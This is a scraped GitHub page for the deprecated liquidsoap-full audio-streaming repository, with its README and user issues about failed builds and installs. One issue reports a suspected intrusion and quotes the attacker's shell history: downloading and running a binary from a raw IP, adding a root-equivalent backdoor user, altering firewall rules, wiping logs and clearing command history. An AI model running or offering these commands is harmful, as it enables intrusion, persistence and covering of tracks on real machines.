Coder Social home page Coder Social logo

savonet / liquidsoap-full Goto Github PK

View Code? Open in Web Editor NEW
49.0 14.0 26.0 20.83 MB

[DEPRECATED] Former main repository with all in-house bindings

License: GNU General Public License v2.0

Shell 0.09% Makefile 0.06% Dockerfile 0.03% HTML 89.85% CSS 0.78% JavaScript 9.20% Lua 0.01%
liquidsoap

liquidsoap-full's Introduction

⚠️ Deprecated ⚠️

This repository was really needed before all the tooling around OCaml that exist nowadays, to make it easier to install all the dependencies required for liquidsoap.

Since then, opam has filled most of these needs and is now our favorite ways of compiling liquidsoap from source. Checkout our installation instructions on how to do so!

Now, for the history nerds:

Savonet - Audio Streaming Tools

Savonet is a set of open-source tools for multimedia streaming, particularly adapted for netradios. It is mainly written in OCaml (but the Liquidsoap language has nothing to do with OCaml).

This repository contains (as submodules) all the dependencies required by Liquidsoap.

Using this repository

If you are checking out this repository for the first time you should do

make init
make update

to initialize and update all submodules. The generate and run the configures:

./bootstrap
./configure

and finally build:

make

liquidsoap-full's People

Contributors

dbaelde avatar mcfiredrill avatar smimram avatar toots avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

liquidsoap-full's Issues

Unable to clone & build 1.1.0 (fd6c698 of ocaml-mm commit missing)

Hello,

I am seemingly unable to get the previous version (1.1.0) and build it as the fd6c698 of ocaml-mm commit has gone missing:

Cloning into ocaml-mm...
remote: Counting objects: 1162, done.
remote: Compressing objects: 100% (288/288), done.
remote: Total 1162 (delta 877), reused 1131 (delta 846)
Receiving objects: 100% (1162/1162), 229.54 KiB, done.
Resolving deltas: 100% (877/877), done.
fatal: reference is not a tree: fd6c69877de5edc364449d53bcfa0e8726c18a39
Unable to checkout 'fd6c69877de5edc364449d53bcfa0e8726c18a39' in submodule path 'ocaml-mm'
make: *** [init] Error 1

Would you happen to have this? :)

./configure error

Hey,

When i try a ./configure --enable-debugging --disable-graphics I have this error

checking for gcc option to produce PIC... -fPIC
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking whether pkg-config knows about ao... configure: error: ao.pc not found.. Do you need to set PKG_CONFIG_PATH?

What i need to fix them ?

Thank you

Outdated social links

Summary

Some of the social media links are outdated.

<div class="col-md-4">
<ul class="list-inline social-buttons">
<li class="list-inline-item">
<a href="https://twitter.com/savonet" target="_blank">
<i class="fab fa-twitter"></i>
</a>
</li>
<li class="list-inline-item">
<a href="https://www.facebook.com/savonet" target="_blank">
<i class="fab fa-facebook-f"></i>
</a>
</li>
<li class="list-inline-item">
<a href="https://github.com/savonet/liquidsoap" target="_blank">
<i class="fab fa-github"></i>
</a>
</li>
</ul>
</div>

<li class="nav-item">
<a class="nav-link p-2" href="https://twitter.com/savonet" target="_blank" rel="noopener" aria-label="Twitter">
<svg class="navbar-nav-svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 512 416.32" focusable="false">
<title>Twitter</title>
<path d="M160.83 416.32c193.2 0 298.92-160.22 298.92-298.92 0-4.51 0-9-.2-13.52A214 214 0 0 0 512 49.38a212.93 212.93 0 0 1-60.44 16.6 105.7 105.7 0 0 0 46.3-58.19 209 209 0 0 1-66.79 25.37 105.09 105.09 0 0 0-181.73 71.91 116.12 116.12 0 0 0 2.66 24c-87.28-4.3-164.73-46.3-216.56-109.82A105.48 105.48 0 0 0 68 159.6a106.27 106.27 0 0 1-47.53-13.11v1.43a105.28 105.28 0 0 0 84.21 103.06 105.67 105.67 0 0 1-47.33 1.84 105.06 105.06 0 0 0 98.14 72.94A210.72 210.72 0 0 1 25 370.84a202.17 202.17 0 0 1-25-1.43 298.85 298.85 0 0 0 160.83 46.92" fill="currentColor" />
</svg>
</a>
</li>

./boostrap errors

Hi
I get the following errors when I try to install liquidsoap on ubuntu 14:

root@v22015072938226788:~/liquidsoap# ./bootstrap
*** bootstrapping ocaml-cry
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-ao
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-portaudio
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-alsa
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-pulseaudio
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-bjack
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-gstreamer
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-mad
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-taglib
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
*** bootstrapping ocaml-lame
./bootstrap: 5: ./bootstrap: aclocal: not found
./bootstrap: 7: ./bootstrap: autoreconf: not found
./bootstrap: 15: ./bootstrap: autoreconf: not found
make: *** [ocaml-lame/configure] Fehler 127
root@v22015072938226788:~/liquidsoap# 

whats wrong please?

Checking for ocaml bytes module... configure: error: Not found.

Hello!

While installing liquidsoap i see following errors:

****** Configuring ocaml-cry

./configure --with-cry-dir=../ocaml-cry/src
configure: WARNING: unrecognized options: --with-cry-dir
...
checking for camlp4oof... no
checking for camlp4orf... no
checking for camlp4prof... no
checking for camlp4r... camlp4r
checking for camlp4rf... no
checking for ocamlfind... ocamlfind
checking for ocaml standard library path... /usr/lib/ocaml
checking for caml/threads.h... yes
checking for gcc option to produce PIC... -fPIC
checking for ocaml bytes module... configure: error: Not found.

What is that mystic bytes module? Can't find anything related in debian repos :(

Won't build on Debian Jessie

Having issues while building on Debian Jessie (The version in Debian's package manager throws a segfault)

ocamlfind ocamlc -c -package camlp4 -package camlp4.quotations.o -package camlp4.extend -syntax camlp4o pa_duppy.mli
Fatal error: cannot load shared library dllunix
Reason: /usr/local/lib/ocaml/stublibs/dllunix.so: undefined symbol: caml_strdup
File "pa_duppy.mli", line 1:
Error: Error while running external preprocessor
Command line: camlp4 '-I' '/usr/local/lib/ocaml/camlp4' '-I' '/usr/local/lib/ocaml/camlp4' '-I' '/usr/local/lib/ocaml/camlp4' '-parser' 'o' '-parser' 'op' '-printer' 'p' '-parser' 'Camlp4QuotationCommon' '-parser' 'Camlp4OCamlOriginalQuotationExpander' '-parser' 'Camlp4GrammarParser'  'pa_duppy.mli' > /tmp/ocamlppb9e8c0

Makefile:51: recipe for target 'pa_duppy.cmi' failed
make[2]: *** [pa_duppy.cmi] Error 2
make[2]: Leaving directory '/home/Users/mighty/github_projects/liquidsoap-full/ocaml-duppy/src'
Makefile:12: recipe for target 'all' failed
make[1]: *** [all] Error 2
make[1]: Leaving directory '/home/Users/mighty/github_projects/liquidsoap-full/ocaml-duppy'
Makefile:11: recipe for target 'all' failed
make: *** [all] Error 1

not build in FreeBSD

Hello!

./configure step failed

make: don't know how to make /configure. Stop

make: stopped in /tmp/liquidsoap

****** Configuring ocaml-cry

10.2-RELEASE-p7

PS: port also now making;(

ocaml-theora fatal: reference is not a tree

Hi,

I think there may be a dependency issue with this submodule, as I keep getting this message?

Full log

Cloning into 'ocaml-theora'...
fatal: reference is not a tree: ea51f19df3f477a441c75f3dec4672a041aeff3b
Unable to checkout 'ea51f19df3f477a441c75f3dec4672a041aeff3b' in submodule path 'ocaml-theora'`

Any advice much appreciated, I'm new to this stuff.

Thanks!

Fatal Error on make init

When I try to run make init from the latest commit on the master branch, I get this error:

fatal: reference is not a tree: 39dff0786f6a342cf5bff8455466e3f7bf0e08db

Unable to checkout '39dff0786f6a342cf5bff8455466e3f7bf0e08db' in submodule path 'ocaml-ogg'

make: *** [init] Error 1

Documentation menu on website

It would be nice if the "documentation" item in the top menu on the website would point directly to https://www.liquidsoap.info/doc.html instead of the documentation div on the webpage (where you have to click on another link to actually have the documentation). I often do this to access the documentation and I suspect many other people too...

Potential security issue with input.harbor

Guys,
I'm using the liquidsoap for some time, I have enabled the "input.harbor" in my script, it is a dynamic script that always generates User and password dynamically.
I saw that when enabled "input.harbor" my machine is invaded and runs on my machine the following commands bellow, I formatted 3 times the machine and I did several tests and yes, the security hole that allows access to my machine is when the "input.harbor" is enabled.
Basically what I noticed is that the invader installs a SYS flood in my machine, nothing more than that, but this is very serious.

Please who have "input.harbor" enabled can verify that? Check the user "webll" in your /etc/passwd

**ip where does the connection comes from 104.239.228.251
**
Commands run on my machine at all access 
ps -ef
    2  cd /bin
    3  wget http://58.64.207.219:888/sshh
    4  chmod 0755 sshh
    5  ./sshh
    6  useradd -o -u 0 -g 0 -M -d /root -s /bin/bash webll
    7  passwd webll
    8  iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    9  iptables -D INPUT -p tcp --dport 6379 -j DROP
   10  echo>ar/log/syslog
   11  echo>ar/log/messages
   12  echo>ar/logtpd/access_log
   13  echo>ar/logtpd/error_log0
   14  echo>ar/log/xferlog
   15  echo>ar/logcure
   16  echo>ar/log/auth.log
   17  echo>ar/log/user.log
   18  echo>ar/log/wtmp
   19  echo>ar/log/lastlog
   20  echo>ar/log/btmp
   21  echo>ar/run/utmp
   22  echo >/root/.bash_history
   23  history-c
live = input.harbor(
            id = "#{mount_name}",
            on_connect = live_start,
            on_disconnect = live_stop,
            buffer=8.,
            max=20.,
            icy = true,
            port = int_of_string(port2), Dynamic port 
            user = "#{mount_name}", Dynamic mount point
            password = "#{streamingPasswordHarbor}", Dynamic Password
            "#{mount_name}")
root@liquidsoap:/home/ubuntu/live# **uname -a**

Linux liquidsoap 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@liquidsoap:/home/ubuntu/live#** liquidsoap --version**

Liquidsoap 1.2.0+scm (git://github.com/savonet/liquidsoap.git@5828d260cbaafb13952f0b65b7abd9867ea72308:20160202:091347)

Copyright (c) 2003-2016 Savonet team

Liquidsoap is open-source software, released under GNU General Public License.

See <http://liquidsoap.fm> for more information.

git repo broken?

There appears to be something wrong with the repo on github. Why I try to clone it, this happens:

git clone https://github.com/savonet/liquidsoap-full.git
Initialized empty Git repository in /home/marcus/liquidsoap-full/.git/
error: The requested URL returned error: 403
warning: remote HEAD refers to nonexistent ref, unable to checkout.

ocaml-xmlplaylist Clone Issue

Hi! I am compiling liquidsoap on a system. However, I am seeing an issue I have never seen before. I notice that toots appears to have updated ocaml-xmlplaylist repository this afternoon, but when using 2.6.5 and invoking using "git clone https://github.com/savonet/liquidsoap-full"

I get the following error:

Submodule path 'ocaml-xmlplaylist': checked out '2da06606d55cbe9ad94b8fa273840a626a50d2ae'
Cloning into 'website/savonet.github.io'...
The authenticity of host 'github.com (192.30.252.131)' can't be established.
RSA key fingerprint is 16:27:ac:a5:76:28:2d:36:63:1b:56:4d:eb:df:a6:48.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'github.com,192.30.252.131' (RSA) to the list of known hosts.
Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
Clone of '[email protected]:savonet/savonet.github.io.git' into submodule path 'website/savonet.github.io' failed
make: *** [init] Error 1

Thank you in advance for any advice :-)

Make Fails -

Hello! I am wondering if anyone has any advice for me. I am attempting to compile Liquidsoap on an ARM system which I have done in the past with success. However, on this occasion I am receiving an error at the make stage.

I am running Debian Wheezy, and I have cloned liquidsoap-full. Make init, make update, bootstrap and configuring all appear to complete OK. But when I perform make I receive the following error:

OCAMLDEP
File "tools/avi.ml", line 48, characters 18-28:
Error: Integer literal exceeds the range of representable integers of type int
OCAMLOPT -c shutdown.ml
OCAMLOPT -c tools/stdlib.ml
OCAMLOPT -c tools/doc.ml
OCAMLOPT -c tools/utils.ml
OCAMLOPT -c tools/plug.ml
OCAMLOPT -c tools/dyntools.ml
OCAMLOPT -c tools/rqueue.ml
File "tools/rqueue.ml", line 1:
Error: Could not find the .cmi file for interface tools/rqueue.mli.
make[3]: *** [tools/rqueue.cmx] Error 2
make[3]: Leaving directory `/home/icecast/liquidsoap-full/liquidsoap/src'
make[2]: *** [all-auto-ocaml-prog] Error 2
make[2]: Leaving directory `/home/icecast/liquidsoap-full/liquidsoap/src'
make[1]: *** [all-subdirs] Error 2
make[1]: Leaving directory `/home/icecast/liquidsoap-full/liquidsoap'
make: *** [all] Error 1

liquidsoap_bootstrap.txt
liquidsoap_configure.txt
liquidsoap_make.txt

My logs in full are attached. Does anyone have any ideas on this? Any advice is much appreciated.

Error on make init

Hey,
When I try to run make init from the latest commit on the master branch, I get this error:

fatal: reference is not a tree: 1c3f5c0d8a03291a400212fb70a4a2c282f00e87
Unable to checkout '1c3f5c0d8a03291a400212fb70a4a2c282f00e87' in submodule path 'liquidsoap'
Makefile.git:6: recipe for target 'init' failed
make: *** [init] Error 1

Thank you

AAC+ on ubuntu after installing liquidsoap-plugin-all

Thanks for the package liquidsoap-plugin-all for trusty. It let me install all plugins in one shot. Can you please advise me how I will be able to configure an aac+ encoder? I saw another issue here in which it was recommended to use fdk-aac. Does this mean that I should be recompiling liquidsoap via the opam route?

set-upstream

Hi,

It seems that git is changing its default policy wrt branch tracking. It is something that I found tricky in the past, hopefully it'll become simpler. For now we have to do something with Makefile.git: --set-upstream is deprecated but --set-upstream-to does not work on older versions of git. I know the set-upstream was helping us, but I don't remember when and how exactly, so I'm reluctant to remove this altogether.

By the way, my (recent) git asked me to choose on a policy for pushing and I went for the new default, which seems best to avoid bad surprises (here's the resulting line in my ~/.gitrc):

[push]
    default = simple

aacplus and opus not working under Ubuntu 12.10

I just compiled Liquidsoap 1.0.1 from source under Ubuntu 12.10 but I also got these same results using the version in the Ubuntu repo. When I run the following to transcode to an AAC+ stream I get an error (shown after code):

#!/usr/bin/liquidsoap -v
stream = mksafe(input.http("http://example.com"))
source = (stream:source(2,0,0))

output.icecast(
  %aacplus(bitrate=192, samplerate=44100, channels=2),
  mount="/192.aac",
  host="example.com", port=80, password="password",
  source)
Invalid value at line 6, char 3-53: No encoder found for that format.

Please note that regular AAC works fine.

When I do the same for opus I get the following error:

Line 6, char 4 before "%": Parse error!

LiquidSoap 1.1.1 on Ubuntu 14.04 LTS

Firstly, I have only just learnt of LiquidSoap (OK, where have been hiding, I know) and have been streaming separate streams for Severn FM since 2011 which I now found to be a very inefficient way of streaming my hobby radio station. I installed Liquidsoap last week and had it running a treat on my VPS.net test machine and it integrated well with my Icecast2 server (2.3.3). The internal AAC worked well although it sounded a little "mushy" at 64Kbs so I have tried to configure either the internal AAC+ encoder and then FDK-AAC. I've given up for now as I've tried installing FDK-AAC and LiquidSoap using different methods (compiling etc) and have just trashed the machine so it's back to a clean install of Ubuntu 14.04 LTS and ICecast2.3.3 until I can do this properly. I do have full root access on the VPS.

Any help would be greatly appreciated in getting LiquidSoap 1.1.1 to work with the FDK-AAC encoder for AAC+.

Thanks in advance.

Clarkerz

Request resolution failed

Hello guys!

I'm using liquidsoap to stream audio for a few years already but now I have a problem with video streaming.

When I try to check video file it says:

$ liquidsoap -r video.avi
Request resolution failed.

I tried everything (I think): I've intalled it from source/ocaml/AUR/apt but this response is the most non-violent so far.

Help me please!

Issue with installing mad/faad via opam

Thank you for updating the packages related to liquidsoap and fdkaac in opam. I was able to get it to work on my ubuntu server. However, I have issues with running a liquidsoap configuration for transcoding an aac, mp3 input stream. I am getting the following error logs while attempting an aac and an mp3 input stream.

[decoder:3] Unable to decode stream of type "audio/aac"!
[decoder:3] Unable to decode stream of type "audio/mpeg"!

I understand that this is because the mad optional package was not install. I ran opam install mad and I please find below the log. Please help me fix this issue.
I am also getting similar messages when I try installing faad for decoding aac streams. Thanks in advance.

$ opam install mad
The following actions will be performed:
 - install   mad.0.4.5
=== 1 to install ===

=-=- Synchronizing package archives -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=-=- Installing packages =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Building mad.0.4.5:
  ./configure --prefix /home/pradio/.opam/4.02.1
  make
  make install
[ERROR] The compilation of mad.0.4.5 failed.
Removing mad.0.4.5.
  ocamlfind remove mad


#=== ERROR while installing mad.0.4.5 =========================================#
# opam-version 1.2.0
# os           linux
# command      ./configure --prefix /home/pradio/.opam/4.02.1
# path         /home/pradio/.opam/4.02.1/build/mad.0.4.5
# compiler     4.02.1
# exit-code    1
# env-file     /home/pradio/.opam/4.02.1/build/mad.0.4.5/mad-14317-6d07ae.env
# stdout-file  /home/pradio/.opam/4.02.1/build/mad.0.4.5/mad-14317-6d07ae.out
# stderr-file  /home/pradio/.opam/4.02.1/build/mad.0.4.5/mad-14317-6d07ae.err
### stdout ###
# ...[truncated]
# checking for stdlib.h... yes
# checking for string.h... yes
# checking for memory.h... yes
# checking for strings.h... yes
# checking for inttypes.h... yes
# checking for stdint.h... yes
# checking for unistd.h... yes
# checking mad.h usability... no
# checking mad.h presence... no
# checking for mad.h... no
### stderr ###
# configure: error: libmad not found

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.